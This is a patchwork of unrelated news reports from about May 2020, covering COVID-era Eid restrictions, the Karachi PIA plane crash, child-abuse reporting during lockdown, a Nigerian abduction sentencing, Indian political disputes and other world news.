Malaysia will allow people to visit relatives who live nearby, but such gatherings are limited to 20 people. Visitors are urged to wear face masks and to refrain from hugging, kissing and sharing plates. Some mosques have reopened, but congregations are limited to 30 people.

India's 172 million Muslims are also preparing for a subdued holiday, with large gatherings banned. They have faced heightened stigma, threats and boycotts by many Hindus, who blame the local outbreak on a three-day convention of Islamic missionaries held in March.

In some states, Indian Muslims have launched campaigns urging people to refrain from buying new clothes for the holiday and instead give to the needy.

In Iran, which has endured the deadliest outbreak in the Middle East, authorities have imposed few restrictions ahead of the holiday aside from cancelling mass prayers in Tehran traditionally led by Supreme Leader Ayatollah Ali Khamenei.

Iran has faced criticism for not imposing the kind of lockdown seen elsewhere in the region, but authorities have said they had to weigh the effects on an economy eviscerated by US sanctions. Iran has reported nearly 130,000 cases and more than 7,000 deaths, but the rate of new infections has declined in recent weeks.

In Iraq, the government has allowed most businesses to reopen in the last few weeks but plans to reinstate a 24-hour curfew over the holiday. The streets were busy in the days leading up to Eid as people shopped for clothes, toys and home appliances.
Source: Xinhua| 2020-05-22 15:10:09|Editor: huaxia

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OTTAWA, May 21 (Xinhua) -- China has played a prominent role in the implementation of the Convention on Biological Diversity, a part of the UN environment program, the convention's Acting Executive Secretary Elizabeth Maruma Mrema said Thursday.

China has carried out a series of effective actions to conserve biodiversity and achieved remarkable results, said Mrema, ahead of the International Day for Biological Diversity which falls on Friday.

China has met the Aichi Biodiversity Targets of protecting 17 percent of terrestrial areas ahead of schedule, she said in an exclusive interview with Xinhua.

"Some species have come back after years of being gone. Significant progress has been made in wildlife protection," she said.

The secretary also spoke highly of the Chinese concept of ecological civilization. "China has also demonstrated its determination and action by adopting legislation to completely ban the illegal hunting, trading, transport, and consumption of wild animals," she said.

The 15th meeting of the Conference of the Parties to the Convention on Biological Diversity will be held in Kunming, China, with the theme of "Ecological Civilization: Building a Shared Future for All Life on Earth."

The conference of the parties is the governing body of the Convention on Biological Diversity, and advances implementation of the convention through the decisions it takes at its periodic meetings.

Mrema said the meeting is a very important milestone in the history of the biodiversity convention, as representatives from the convention parties, international, regional, non-governmental organizations, and the private sector will meet to reach an agreement on a new framework for action for the next decade, put the world on track to achieve the Vision 2050 of living in harmony with nature and align its targets with the 2030 Agenda for Sustainable Development. Enditem
Efforts continuing to resolve the row over State indemnity for Leaving Cert grading process, as a union claims that teachers could be caught for up to one third of the costs of an action by a student.

The row has arisen over the strength of the legal protection for teachers in the event of a challenge against a grade.

Calculated grades will involved teachers marking their own students but there are concerns about dissatisfied students taking legal action.

The dispute arose after the publication of guidelines for teachers on how to estimate marks and class rankings for their students, but now the assessment process has been thrown into turmoil.

Expand Close Warning: Education Minister Joe McHugh says canvassing teachers for better grades will not be tolerated. PHOTO: LEON FARRELL/PHOTOCALL IRELAND / Facebook

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Whatsapp Warning: Education Minister Joe McHugh says canvassing teachers for better grades will not be tolerated. PHOTO: LEON FARRELL/PHOTOCALL IRELAND

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The Association of Secondary Teachers Ireland (ASTI) has told members not to co-operate with the process until they get more assurances about State-backed indemnity.

ASTI general secretary Kieran Christie claimed under the proposal signed off by Government yesterday, teachers would be caught for up to one third of the costs of a case.

Calculated grades will involved teachers marking their own students and the indemnity is being put in place to cover situations where a student challenges a grade.

Mr Christie said two issues had arisen, one being the legal costs that had to be covered, and the other was who would determine the costs, about which they needed assurances and clarification.

In the event of a legal challenge, he said ASTI was concerned that teachers could be liable for costs such as stenographers and expert witnesses and he also said there was also a lack of clarity on who would determine and what would be included in the costs

He said under the proposed indemnity, teachers could be caught for up to one third of the costs , adding: We cant have teachers on the hook .

Mr Christie said the ASTI was categorically committed to the grading process but they were assured of a 100pc indemnity and didnt get one.

He said until the indemnity was properly in place the union was advising members not to undertake any work on the grading process.

He said that Education Minister Joe McHugh should have waited until today to publish the guidelines on the operation of calculated grades to allow for these issues to be sorted out.
David Dewhurst has known adversity. As a child, he lost his father to a drunk driver. He worked his way through college, made and lost a fortune, and served in the Air Force and the CIA. He spent years in Texas politics and is no stranger to having microphones thrust in his face.

He was one of the states most powerful officials for more than a decade as Texas lieutenant governor.

But even the typically reserved, monotone former statesman was flustered this week when asked to see himself in a new light  that of a victim of domestic abuse  after his girlfriend allegedly assaulted him repeatedly.

Harris County prosecutors say that Leslie Caron, 40, kicked 74-year-old Dewhurst, fracturing two ribs, during an argument on May 13. A separate incident occurred days later, during which she allegedly threw a pot, scratched, and bit the tall, lanky man decades her senior.

She was arrested Wednesday after Dewhurst complained of chest pain and went to get X-rays, where the damage to his ribs was detected.

Dewhursts case spotlights the fact that although women are overwhelmingly the targets of intimate partner violence  with 1 in 4 subject to physical abuse in her lifetime  this can happen to anyone, and cases cut across gender, race, and income.

Sadly, so does the stigma.

Any male who allows himself to be a battered male deserves to be a battered male, wrote a commenter on the Houston Chronicle website. On Twitter, one user said Caron should be put on the Murder Hornet Task Force after she single-handedly took down the 6'4" former CIA man. Dozens of other examples can be found.

Shame, fear, and humiliation are some of the reasons why domestic violence remains an under-reported issue, Maisha Colter, CEO of Houston-based nonprofit Aid to Victims of Domestic Abuse, told the editorial board Thursday.

In many cases, a victim will feel judged over why he or she remained in an abusive relationship or be blamed as if deserving of abuse. As Dewhurst is finding, gender expectations also make men open to ridicule.

Domestic violence runs much deeper than the physicality of it, Colter said. Many men are trained by their upbringing to retreat when a woman is being aggressive.

A man being the target of physical domestic abuse may not be as common, but Dewhursts reaction is commonplace for many victims, experts said.

Im not interested in filing any charges against Leslie, he said in a written statement. Shes a remarkable woman with many fine attributes. I wish her all the best in life.

Regardless of the situation, victims should be supported, not mocked.

Get help If you are in an abusive relationship or the victim or domestic violence, call 1-800-799-7233 and get help. See More Collapse

Knowing there is help is the first step to realizing that the situation can change for someone trapped in an abusive relationship.

People need to know theyre not alone, Colter said. There are resources out there for everyone who needs them.

Abuse comes in many forms and so do its victims. It appears our former lieutenant governor found that out the hard way.
The Palestinian Authority (PA) in the West Bank has declined tons of medical aid provided by UAE to help fight covid-19, arguing it was not informed about the shipment that was sent through Israel, The New Arab reports.

PA health ministry in a statement Thursday said the aid was sent without coordination.

UAE aid arrived at Ben Gurion Airport without our knowledge and without coordination with us. Therefore we cannot accept it, the ministry said.

A plane of Etihad, Abu-Dhabi-based and government-run airline, touched down Tuesday, for the first time in Israel with 14 tons of medical supply including personal protective equipment, PPE, and medical equipment.

The shipment according to Emirati authorities is meant to help the PA in the fight against the covid-19 pandemic.

The flight is the first of its kind by an Arab country to Israel boycotted by the Arab League over the Palestinian cause.

The move has been viewed as normalization of ties between the Arab country and the Jewish state.

Except Egypt and Jordan which have diplomatic relations with Tel Aviv, other Arab countries have conditioned normalizing ties with Israel on conditions of the creation of the Palestinian state with East Jerusalem as capital.
Serhiy Hubanov was in charge of Luhansk-1, the volunteer battalion of Ukraine's Interior Ministry; on May 21, 2020, he sustained a fatal injury while on a combat mission in Novoaidar district, Luhansk region

Serhiy Hubanov, Colonel of Ukraine's National Police npu.gov.ua

President of Ukraine Volodymyr Zelensky has awarded Colonel Serhiy Hubanov the title of Hero of Ukraine (posthumously). This is mentioned on the website of the President's Office.

Hubanov is the veteran of Donbas conflict; when the hostilities began in spring 2014, he served with the Ukrainian police in Luhansk region.

"We lost the legendary commander of Luhansk-1 battalion. Serhiy Hubanov was one of these Luhansk-based policemen who did not abandon their loyalty oath to Ukraine. He dreamed of watching the yellow-blue banner unfurl over Luhansk. The day will come, and this dream will come true. Eternal gory to our hero!", Zelensky commented.

Serhiy Hubanov was in charge of Luhansk-1, the volunteer battalion of Ukraine's Interior Ministry; on May 21, 2020, he sustained a fatal injury while on a combat mission in Novoaidar district, Luhansk region. He sustained a deadly shrapnel injury.

On May 21, pro-Russian mercenaries opened fire in Donbas four times. The enemy used Minsk-banned weaponry, namely 120 mm mortars. The press office of Ukraine's Defense Ministry reported that on Thursday evening. In Donetsk region, hostile forces opened fire near Avdiivka, Starohnativka and Bohdanivka. They used grenade launchers and small arms. Russia-backed illegal armed formations also opened fire from 120 mm mortars near Krymske, Luhansk region.
Nigerian sentenced to 26 years after forcing Christian teen into Islamic marriage

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A federal court in Nigeria sentenced a man to 26 years in prison after he abducted a Christian teenager from her home and forced her into an Islamic marriage in 2015.

A federal high court in Bayelsa State on Thursday sentenced Yunusa Dahiru for the abduction of Ese Oruru, according to Nigerian media outlets.

Oruru was abducted from her mothers shop in the Bayelsa state in August 2015 at the age of 14 by Dahiru.

The child was taken across state lines to the Muslim-majority Kano state, where she was allegedly raped, forced to accept Islam, and married to her captor. Additionally, her name was changed to Aisha, the name of one of the wives of Islam's prophet Muhammad.

Her abduction gained media attention as her parents raised public awareness.

Months later, state police rescued Oruru in February 2016. It was revealed that the child was five months pregnant with her daughter.

Charles Oruru, Eses father, praised the sentencing decision by the court in an interview with the independent Nigerian daily newspaper The Guardian.



Im very happy and grateful because I see that all my suffering is not in vain, the father said. This case will serve as a deterrent to others who traffic peoples children. I thank God that truth has prevailed. I and my family are very happy.

According to the newspaper, Dahiru was charged with conspiracy to commit an abduction in violation of an anti-trafficking law.

Oruru and his wife say they faced much harassment in their quest to get their daughter back.

According to Christian Solidarity Worldwide, a nongovernment organization based in the United Kingdom that operates in over 20 countries, Rose Oruru was insulted and threatened by the chief of the village in Kano when she tried to get her daughter back.

Although the mother petitioned the local emir for her daughters release, her request was unsuccessful. CSW notes that on two occasions, the mother was insulted and assaulted by people in the village as well as refused access to her daughter.

According to CSW, Ese Orurus release came one day after the Nigerian newspaper The Punch launched its viral #FreeEse social media campaign.

Criminal proceedings against Dahiru began in March 2016 but he was initially let out on bail. However, he was later rearrested for failing to appear in court.

We welcome this conviction and hope it will mark the beginning of an erosion of the impunity surrounding these crimes, deterring potential perpetrators and their enablers, CSW Chief Executive Mervyn Thomas said in a statement.

It is unacceptable that young girls in Sharia states continue to endure multiple violations of their rights to freedom of religion or belief, education, parental care and liberty and security of person, among others.

In Nigeria, many girls and young women have been kidnapped on several different occasions by different actors like Boko Haram, Islamic State extremists, radical Fulani herdsmen and roadside gangs.

While some abductions are for ransom payments, hundreds of schoolgirls have been abducted by Islamic extremists in northeast Nigeria, many of whom were married off to militants.

The only difference between these abductions and those committed by terrorist factions in north east Nigeria is that instead of trafficking underage girls to ungoverned spaces, these abductors attempt to hide behind traditional authorities who may have condoned their actions, Thomas explained.

We urge the Nigerian federal authorities to become more proactive in ensuring the immediate return of abducted minors to their families, and to consistently prosecute anyone implicated in such crimes to the fullest extent of the law.

According to Open Doors USA, which monitors persecution in over 60 countries, abductions and forced marriages of Christian girls happens a lot in the non-militant context in Muslim-majority northern Nigeria.

There are even cases of Christian girls who have been abducted from the south and married off in the north, an Open Doors dossier on Nigeria reads.

Nigeria ranks as the 12th worst country in the world when it comes to Christian persecution, according to Open Doors USAs 2020 World Watch List.

In March, The Hausa Christians Foundation reported on how a Christian girl named Sadiya Amos was able to escape from her captors and reunite with her family after she was kidnapped and forced into an Islamic marriage in January.

Last October, six Christian schoolgirls and two staff members were abducted from their school by Fulani radicals in Kaduna state. They were released nearly a month later.
Christine Lampard compared the COVID-19 lockdown to growing up in Northern Ireland during the Troubles on Friday's Loose Women.

The Irish presenter, 41, was born in Newry and moved to Newtownards, County Down, when she was five-years-old.

Christine revealed that during the Troubles in Northern Ireland she suffered anxiety as a child and wouldn't sleep until her musician father returned home each evening.

Scary: Christine Lampard compared the COVID-19 lockdown to growing up in Northern Ireland during the Troubles on Friday's Loose Women

The Troubles took place from 1968 to 1998 and has been described as a 'low-level war' in Northern Ireland, with the battle also taking place in the Republic of Ireland and England. It is said more than 3,500 people lost their lives.

Christine said: 'As a teenager and certainly as a younger child, lots of things got cancelled, a lot of the time because awful things were happening.

'People were being killed, families losing their loved ones, unfortunately, it strangely became the norm. That is what our news was every day, a little bit like it is now, you assume the headline is to do with the coronavirus.

'Unfortunately, back home, it was always going to be about the Troubles, maybe someone had lost their life that day or some atrocity. It was a strange thing, we were used to just staying in.

Young: The Irish presenter, 41, was born in Newry and moved to Newtownards, County Down, when she was five-years-old (pictured aged 17)

'My mum never liked us going out to Belfast - there could be a bomb scare - that is what life was. Certainly in my lifetime, it was difficult for people to have a normal life.'

Talking about whether the Troubles had a lasting impact in her life, she added: 'I think it has, I never take things for granted.

'My dad was a musician and I'd be sitting at home full of anxiety. The anxiety I had that someone would go into the bar he was in and shoot him.

'I would sit in bed and wait for him to come home before going to sleep.'

Anxiety: Christine revealed that during the Troubles in Northern Ireland she suffered anxiety as a child and wouldn't sleep until her musician father returned home each evening

She said: 'My mum never liked us going out to Belfast - there could be a bomb scare - that is what life was. Certainly in my lifetime, it was difficult for people to have a normal life.'

Sharing her advice for people and children struggling during lockdown, Christine said: 'As tough as this is, it will feel fantastic when it's over.'

She added: 'What I would say to kids, imagine what it will feel like when we have normality.

'We used to love getting dolled up at home, putting make-up on, your first holiday, going to university.

'I hope all these young people remember this awful period and really live their lives to the best of their ability when it's over.'

During the Troubles, the country divided as loyalists, predominantly made up of Protestants, who wanted Northern Ireland to remain in the UK.

Devastation: The Troubles took place from 1968 to 1998 and has been described as a 'low-level war' in Northern Ireland, with the battle also taking place in the Republic of Ireland and England (the aftermath of an IRA remote-controlled bomb at Chelsea Barracks in 1981)

While Irish nationalists, predominately made up of Catholics, wanted Northern Ireland to leave the UK and unite with the Republic of Ireland.

During the Troubles, the Irish Republican Army (IRA), who wanted to unite Ireland and end British rule, staged bomb attacks across Ireland and England. They are said to have killed 1,800 people, including 600 civilians who also lost their lives.

The UK was put into lockdown on March 23, with the public having to avoid meeting up with friends and families since March 16.

Coronavirus has killed 36,042 and infected 251K people in the UK so far.

Loose Women continues on weekdays at 12:30pm on ITV.
An Amazon warehouse worker in North Randall, Ohio, died from COVID-19, bringing the total known deaths at the company to eight employees.

The female employee went to work the same day she was diagnosed on April 30 but the company wasn't informed until May 8, an Amazon spokesperson told USA TODAY. The news was first reported by NBC News. The employee passed away on May 18.

"We are saddened by the loss of an associate who had worked at our site in Randall, Ohio," Amazon spokesperson Lisa Levandowski said in a statement to USA TODAY. "Her family and loved ones are in our thoughts, and we are supporting her fellow colleagues."

The company says it contacted the family to offer support upon learning of her passing on May 18 and is now notifying workers at the site  and offering counseling to them. Masks were available and required to be worn at the site as of April 15, Amazon says.

Amazon has not disclosed how many employees in the U.S. have tested positive with the coronavirus.

Nevertheless, also in the Midwest, at least 32 workers at the Amazon campus in Kenosha, Wisconsin, have contracted coronavirus in the past two months, according to messages sent to employees and shared with the Milwaukee Journal Sentinel, part of the USA TODAY Network.

An Amazon Prime warehouse

Earlier this month, Tim Bray, identified on LinkedIn as a vice president and "Distinguished Engineer" at Amazon Web Services, says he "quit in dismay" because Amazon is purportedly "firing whistleblowers who were making noise about warehouse employees frightened of Covid-19."

Amazon has seen a spike in overall demand for its services as people stay at home due to coronavirus and have more necessities delivered. A recent projection shows Amazon CEO Jeff Bezos could reach trillionaire status by 2026.

This article originally appeared on USA TODAY: Eighth Amazon warehouse worker dies from COVID-19
Uttar Pradesh on Friday accused the Congress and its government in Rajasthan of double standards over buses for migrant workers as it cleared a Rs 36 lakh bill sent by that state for ferrying UP students stranded in Kota.

Bahujan Samaj Party chief Mayawati also criticised the Rajasthan government for disgusting politics between neighbouring states.

Lucknow cleared Rajasthan's bill within hours of receiving it on Thursday, though there appears to have been a reminder earlier. It landed soon after the row over a Congress offer to send 1,000 buses to bring Uttar Pradesh's migrants home.

Uttar Pradesh's BJP government had rejected the Congress offer, saying the buses lacked proper documents and many registered numbers submitted in list were not even buses but vehicles like autorickshaws and trucks.

As it settled the bill, UP took a dig at the Congress over its Rajasthan government sending reminder after reminder for the money while talking about helping migrants return home.

Deputy Chief Minister Dinesh Sharma also alleged that the Congress had not made arrangements for fuel and drivers deployed by it as part of its rejected bus offer had to protest for their food.

Last month, the state government brought back thousands of students stranded in Kota due to the lockdown to fight coronavirus, sending Uttar Pradesh State Road Transport Corporation (UPSRTC) buses.

UPSRTC managing director Raj Shekhar said Friday that the number of students was more than what they had expected so they sought additional buses from Rajasthan government.

The additional Rajasthan Roadways buses brought the students to Agra and Mathura in UP.

Dinesh Sharma said UP had sent 560 buses, but realised later than more children wanted to come back. Rajasthan Roadways provided them after getting an undertaking in writing that they will be paid by UP.

He said the state government on May 5 cleared a bill for Rs 19.76 lakh, related to Rajasthan's expenses on diesel for the buses. But it received another reminder for the money for the 94 buses.

This is their sensitivity. They are sending reminder after reminder to realise the bill for bringing innocent children and at the same time saying that they are providing buses from Rajasthan for UP migrants, Sharma said, referring to the recent row over the Congress bus offer.

He said such "double standards" are unbecoming of the national party.

The Congress needs to introspect and apologise to the nation and the migrants publicly for its act. Doing politics by raking up new issues reflects narrow mindedness, he told reporters.

On the buses massed recently by the Congress at the UP-Rajasthan border, Sharma alleged that the party made no provision for fuel and food.

Should we have let our migrants take the risk of travelling like this? When there was no food for the drivers how would it have been arranged for the migrants?



He called sending a bill to bring home children shameful.

On Twitter, BSP president Mayawati also criticised the Rajasthan government for the arbitrary fare it had charged and reminded it of the bus offer made by the Congress for migrant labourers going home to UP.

Sharma claimed he had came to know through channels that thousands of migrant workers are roaming about hungry on roads in Rajasthan and Punjab and there is chaos in Maharashtra.

Criticising the governments in those states, the minister said they are not worried about the workers there but offering help to Uttar Pradesh where, according to him, 27,000 buses and 1,000 trains have already brought home lakhs of migrants.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Abbie Newman, the chief executive of Mission Kids Child Advocacy Center of Montgomery County, says that as families spend more time at home because of the coronavirus restrictions, stressors leading to child abuse can increase greatly. Read more

Abbie Newman worries about Pennsylvanias children. As chief executive of Mission Kids Child Advocacy Center, a child-abuse support agency in Norristown, its practically in her job description.

But as the coronavirus shutdowns near their third month, Newman finds herself worrying even more  about what she and her colleagues arent being told.

The kids are trapped at home now, she said. Many people are out of work, and even if employed, theyre at home and supposed to be teaching kids in addition to doing their own work. The stress is tremendous.

ChildLine, an abuse hotline operated by the Pennsylvania Department of Human Services, logged 10,674 reports in April  a 50% decrease from the same month last year. Advocates and officials across the region noted even bigger drops last month, which happened to be National Child Abuse Prevention Month. Montgomery County saw a 62% decline in year-over-year abuse reports, Chester County recorded 64% fewer, and in Philadelphia, weekly averages hovered between 48% and 63% lower than what they were last spring.

 READ MORE: Calls to Pa.s child-abuse hotline fell sharply during first weeks of the coronavirus. Heres why thats bad news.

Most agree on the reason for the sharp decline: Schools were closed.

In normal times, you have thousands of eyes on kids every day, and thats their teachers, bus drivers," and other school personnel, said Montgomery County District Attorney Kevin Steele. "And now, no one has eyes on them.

Officials and advocates also agree that fewer reports almost certainly doesnt mean fewer children being abused. Typically, about 11% of calls to ChildLine are substantiated cases of abuse, according to state data. They become the first, critical steps that lead to abused children being rescued and placed in protective custody, or, in extreme cases, criminal charges against a parent or caregiver.

This isnt an issue exclusive to the region or state. Economic and social disruption have historically led to increased rates of child abuse: One study from pediatricians in North Carolina found that head trauma in children spiked during the 2008 recession.

 READ MORE: To protect Phillys most vulnerable kids, we must strengthen neighborhoods | Opinion

But the pandemic has added unique challenges  with tens of millions of Americans literally ordered to shelter at home with their closest family members and avoid interaction with others. Disruptions caused by COVID-19 have also led to issues with reporting domestic violence, and have caused agencies, locally and nationally, to remind victims that they can still seek aid.

As the coronavirus raced across the country in March, the American Academy of Pediatrics issued a tip sheet for parents to relieve and redirect the stress of increased time at home, and guiding them in how to discipline children in healthy ways.

 READ MORE: As courts close for the coronavirus, officials and advocates adjust to protect domestic violence victims

Steele and his counterparts throughout the region have also shifted their messaging in recent weeks, calling on members of the community to fill that gap and look for signs of abuse for children living near them. Though calls are down, prosecutors say they are still working at full capacity, and investigating abuse reports.

The problem is that theres no one common response to abuse, said Chester County District Attorney Deb Ryan. There are some facts to consider, but not one or all are demonstrative of abuse.

Ryan, a former child-abuse prosecutor and investigator, said there are telltale signs of abuse, especially a childs shifts in behavior and personality. But it can be difficult for outside observers to pick up on more flagrant red flags, such as bed-wetting or other regressions.

Before, we had a whole host of things we can look at, like a child not wanting to go off with someone abusing them. Now we cant see that, Ryan said. If theres abuse at home, the stats show its more likely to be in the home.

Ryan said that even though teachers may still be communicating with students over Zoom or other video-chat applications, the signs of abuse may be harder to discern.

 READ MORE: Advice for women facing domestic abuse during lockdown, from a survivor | Opinion

Which is why, in part, advocates like Newman are encouraging community members to act on their instincts.

You know the kids in your neighborhood, you know the kids who are friends with your kids, she said. If you see them in the yard, are they acting differently? Do they look disheveled or unclean or bruised? These are things that adults can feel.

Some of that has occurred, according to Amanda Dorris, the director of policy, program, and operations for DHSs Office of Children, Youth, and Families. In March and April, 30% of the people calling ChildLine were permissive reporters," neighbors or other community members of the kids in question, she said.

By contrast, permissive reporters made up just 8% of the calls to the state hotline in 2019.

Traditionally, those numbers are low, experts say, because of the perceived stigma of making those reports. Neighbors fear theyre intruding on another familys life, or are misinterpreting certain signals.

This is especially true for families that are struggling financially, a situation likely to be more common as unemployment claims rise. But Jon Rubin, the deputy secretary for the OCYF, said there is no liability in making good-faith calls to ChildLine if there is actual concern.

And, in most cases, calls result in needed services being extended to families, rather than punitive measures like children being relocated or criminal charges being filed.

We are really there as social workers, as helpers," Rubin said.

Though the number of calls is down, the process for responding to them has remained the same, with some adjustments for social distancing.

The staff at Mission Kids, the Norristown nonprofit, are using video chat to conduct interviews and check-ins with families that had active cases before the pandemic. New forensic interviews are still being conducted on site, albeit differently: The child and the interviewer are seated in different rooms, connected through video.

 READ MORE: High stress, loss of jobs, and quarantine: Social distancing poses unique threats to women and children | Editorial

In Philadelphia, the Department of Human Services investigations are still completed in person, and DHS employees often have to arrive at homes unannounced, because they cannot warn parents under investigation about a visit, according to Commissioner Kimberly Ali.

(DHS workers ask before entering a home if anyone inside has symptoms of COVID-19, Ali said, and in some cases have had to ask parents and children to step outside and wear masks for the investigation.)

For families that have active cases with DHS, visits are now virtual. DHS has, when needed, supplied families with tablets to use for those visits, Ali said.

DHS social workers ask the parent to show them around the house, open up the refrigerator, for example, so that they can peek into the refrigerator, make sure that utilities are on, Ali said.

Armed with that information, social workers can begin providing services to the family and child, a spectrum ranging from food assistance to placing the child in a home with a relative.

But as Newman, the CEO of Mission Kids, said, none of that can happen without the first step: a concerned party making the call.

Were not asking people to investigate their neighbors or spy on them, but to watch out for each other, she said. If you think there is something going on that is unhealthy to that child, then sometimes if you dont report it, the services cant be gotten to them.
Fire brigade staff try to put out fire caused by plane crash in Karachi, Pakistan, on May 22, 2020. (Fareed Khan/AP Photo)

Pakistan Plane With 98 on Board Crashes Near Karachi

Updated at 10 a.m. ET

KARACHI, PakistanA passenger plane with 98 people on board crashed in a crowded neighborhood on the edge of the international airport near Pakistans port city of Karachi on Friday after what appeared to be an engine failure during landing.

Mayor Wasim Akhtar said at least five or six houses were destroyed in the crash of the domestic flight operated by Pakistan International Airlines.

He said all those on board died, but two civil aviation officials later said that at least two people survived the crash. They spoke on condition of anonymity because they were not authorized to brief media.

Local TV stations reported that three people sitting in the front row of the aircraft survived and aired footage of a man on a stretcher they identified as Zafar Masood, the head of the Bank of Punjab. They reported that at least 11 bodies were recovered from the crash site and six people were injured. It was not immediately clear if the casualties were passengers.

A plume of smoke is seen after the crash of a PIA aircraft in Karachi, Pakistan on May 22, 2020. (Shahabnafees/Twitter via Reuters)

The airport in the northeastern city of Lahore, where the flight originated, initially said there were 107 people on board. The civil aviation authority later said the plane carried 91 passengers and seven crew members. Spokesman Abdul Sattar Kokhar said the discrepancy was due to confusion in the chaotic aftermath of the crash.

Police wearing protective masks struggled to clear away crowds to allow a firetruck and an ambulance to move through the narrow streets toward the crash site, the air filled with dust and smoke. Police and soldiers cordoned off the area.

A transmission of the pilots final exchange with air traffic control, posted on the website LiveATC.net, indicated he had failed to land and was circling around to make another attempt.

We are proceeding direct, sirwe have lost engine, a pilot said.

Confirm your attempt on belly, the air traffic controller said, offering a runway.

Sirmayday, mayday, mayday, mayday Pakistan 8303, the pilot said before the transmission ended.

Pakistan had resumed domestic flights earlier this week ahead of the Eid-al Fitr holiday marking the end of the Islamic fasting month of Ramadan. Pakistan has been in a countrywide lockdown since mid-March to try to stem the spread of COVID-19.

Witnesses said the Airbus A320 appeared to attempt to land two or three times before crashing in a residential area near Jinnah International Airport. The residential area on the edge of the airport, known as Model Colony, is poor and heavily congested.

A resident of the area, Abdul Rahman, said he saw the aircraft circle at least three times, appearing to try to land before it crashed into several houses.

Video circulated on social media appeared to show the aircraft flying low over a residential area with flames shooting from one of its engines.

Pakistans Prime Minister Imran Khan tweeted: Shocked & saddened by the PIA crash Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.

Shocked & saddened by the PIA crash. Am in touch with PIA CEO Arshad Malik, who has left for Karachi & with the rescue & relief teams on ground as this is the priority right now. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.  Imran Khan (@ImranKhanPTI) May 22, 2020

Airbus did not immediately respond to a request for comment on the crash. The flight from the northeastern city of Lahore typically lasts about an hour and a half.

Airworthiness documents showed the plane last received a government check on Nov. 1, 2019. PIAs chief engineer signed a separate certificate April 28 saying all maintenance had been conducted. It said the aircraft is fully airworthy and meets all the safety standards.

Ownership records for the Airbus A320 showed China Eastern Airlines flew the plane from 2004 until 2014. The plane then entered PIAs fleet, leased from GE Capital Aviation Services.

Perry Bradley, a spokesman for GE, said the firm was aware of reports of the accident and is closely monitoring the situation.

By Adil Jawad
China in Focus (May 21): China Ordering Medical Supplies in Bulk Amid Fears of 2nd Virus Outbreak

The Chinese Communist Party (CCP) is ordering large amounts of medical supplies from Chinese manufacturers, arousing fears that the country is preparing for a second wave of the CCP virus.

One expert says the virus is behaving very differently in northeastern China. He notes three major differences from the outbreak in Wuhan.

China has kicked off its most important annual political meetings in Beijing. Authorities are also tightening their grip, suppressing ordinary citizens seeking redress from state governments.

A pro-democracy local official in China was recently forced into a mental hospital by authorities after she went to Beijing to distribute leaflets appealing for democratic reforms in China.

And the CCP has launched another round of efforts to infiltrate the Hong Kongs legal system, with CCP officials planning to introduce a new national security law in the National Peoples Congress in Beijing, bypassing the Hong Kong legislature. Trump has said that the United States will react strongly if the law is enacted.

Subscribe to our Youtube channel for more first-hand news from China

For more news and videos, please visit our website and Twitter
Facing delays with import along with increasing prices of by Chinese companies made the government body decide to produce them locally.

India has become the world's second-largest manufacturer of personal protective equipment (PPE) body coveralls within a short time span of two months, the government said on Thursday.

China is the world's leading producer of PPE body coveralls, crucial to safeguard against the COVID-19 pandemic.

In a statement, the Ministry of Textiles said it has been taking several steps to ensure that both quality and quantity of PPE coveralls going up to the desired levels within a very short span of time of two months, "thereby catapulting India into the world's second-largest manufacturer of body coveralls, next only to China".

The ministry has taken steps to ensure that only certified players across the entire supply chain are allowed to supply body coveralls to governments, an official statement said.

Besides, Textiles Committee, Mumbai too will now test and certify PPE body coveralls required for healthcare workers and other COVID-19 warriors.

Ajit Chavan, Secretary, Textiles Committee and Additional Textile Commissioner, Ministry of Textiles, explained how the committee rose up to the occasion to surmount the challenge of non-availability of reputed domestic manufacturers of PPE testing equipment.

"We faced the humongous challenges of non-availability of domestic manufacturers of repute and incessant delay/long gestation period to import machine from China as also challenges of ever-increasing prices by the opportunist companies in China due to demand for such equipment the world over. We, therefore, decided to do it indigenously," he said.

The secretary informed how the testing equipment will help the nation during the crisis: "With the acquisition of this equipment and with a concrete plan to add some more equipment as per need, we will be able to address not only the quantitative but also the qualitative requirements involved in the testing of body coveralls worn by the frontline health workers and other COVID-19 warriors".

The Textiles Committee is a statutory body established in 1963 through an Act of Parliament and is under the administrative control of the Ministry of Textiles, Government of India.

It was formed to ensure the quality of textiles and textile machinery both for internal consumption and export purpose.

The committee is tasked with the functions of establishing laboratories for the testing of textiles and textile machinery and providing for their inspection and examination, besides other functions which flow from the main objective of ensuring the quality of textiles products and textiles machinery.
Some mean Nigerian social media users have trolled Linda Ikejis sister, Laura Ikeji whose biography describes her as a Nigerian fashion blogger and entrepreneur.

Laura Ikeji shared a new photo of herself on her official Instagram page and her followers, rather than hail the new photo have been sending negative remarks about the photo of the fashion blogger.

Some even went as far as querying if she is a wrestler.

Some others commented that the billionaire blogger has been doing all she can to force her younger sister(the fashion blogger) on her own audience.

See screenshot of the photo and Reactions below:

The post Social media users troll Laura Ikeji, says she looks like a wrestler appeared first on .

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UP assembly polls will be about '80 per cent vs 20 per cent'; BJP will win: Yogi Adityanath

UP: Elections not won on exit polls basis, results will be surprising: Kamal Nath

Death threat to CM Yogi Adityanath; UP Police receives WhatsApp message, case filed

India

oi-Ajay Joseph Raj P

Lucknow, May 22: Uttar Pradesh Police has received a message on WhatsApp that allegedly claimed that State Chief Minister Yogi Adityanath will be killed "with a bomb".

According to reports, the sender has accused CM Adityanath of being anti-Muslim and the message was received by social media cell of Uttar Pradesh Police's integrated emergency response centre UP112 on Thursday midnight.

RBI ramps up economic support amidst coronavirus outbreak

The police has filed an FIR against the unidentified person under Indian Penal Code (IPC) Section 505 (1)(b) for causing fear or alarm to the public to commit an offence against the state or against the public tranquillity, Section 506 for threat to cause death and Section 507 for using anonymous communication for issuing threat.

PM Modi announces Rs 1000 crore immediate relief for cyclone-hit West Bengal | Oneindia News

Dheeraj Kumar, the Inspector of Lucknow's Gomti Nagar police station had lodged an FIR. He mentioned in the FIR that the threat message was sent at UP-112 WhatsApp number 7570000100 at 12:32 am on Thursday. He also said the UP-112 authorities informed the police station and further probe in the matter is on.

Explained: What is WHO? How does Dr Harsh Vardhan's taking charge as Executive Board chairman help

Meanwhile, UP CM Adityanath, has set up a revolving fund of Rs 218.49 crore on Thursday for over 35,000 families to promote self-employment.

This fund under the Rural Livelihood Mission, would help those engaged in sewing, production of disposable plates, spices and masks.
Tony Smith CBE, former head of the Border Force, told a committee today that he cannot see an immediate end to the crisis

